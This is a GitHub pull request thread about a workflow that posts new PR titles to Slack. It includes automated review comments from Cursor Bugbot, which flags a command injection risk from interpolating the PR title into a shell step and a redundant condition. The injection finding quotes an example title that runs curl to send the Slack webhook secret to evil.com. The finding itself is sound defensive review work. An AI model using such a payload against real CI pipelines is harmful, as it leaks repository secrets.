revert(github): switch to using github slack integration subscription

[dancrew32]

Reverts commit ae16c0e

---

Note

Low Risk
Changes only GitHub Actions workflows; main risk is misconfigured Slack webhook/escaping causing noisy or missing notifications, with no runtime code impact.

Overview
Adds a new GitHub Actions workflow, pr_slack_notify.yml, that runs on pull_request: opened to enforce semantic PR titles (via amannn/action-semantic-pull-request) and post a Slack message (via slackapi/slack-github-action) with the PR title/author/link.

Removes the previous standalone PR title validation workflow (pr_validation.yml) and includes a step to escape PR titles before embedding them in the Slack JSON payload.

^{Written by Cursor Bugbot for commit 7a11f78. This will update automatically on new commits. Configure here.}

[cursor]

Cursor Bugbot has reviewed your changes and found 2 potential issues.

^{Bugbot Autofix is OFF. To automatically fix reported issues with Cloud Agents, enable Autofix in the Cursor dashboard.}

[cursor]

Command injection via PR title in shell script

High Severity

The PR title is directly interpolated into the shell script using '${{ github.event.pull_request.title }}'. An attacker can create a PR with a title containing single quotes and shell commands (e.g., test'; curl http://evil.com?s=$SLACK_PULL_REQUEST_WEBHOOK_URL; echo ') to escape the string and execute arbitrary code. This can leak the SLACK_PULL_REQUEST_WEBHOOK_URL secret. The fix is to pass the title through an environment variable instead of direct interpolation.

 

[cursor]

Redundant conditional check for event type

Low Severity

The if: github.event_name == 'pull_request' condition is redundant because the workflow is already configured to only trigger on pull_request events (lines 2-4). This condition will always evaluate to true when the workflow runs.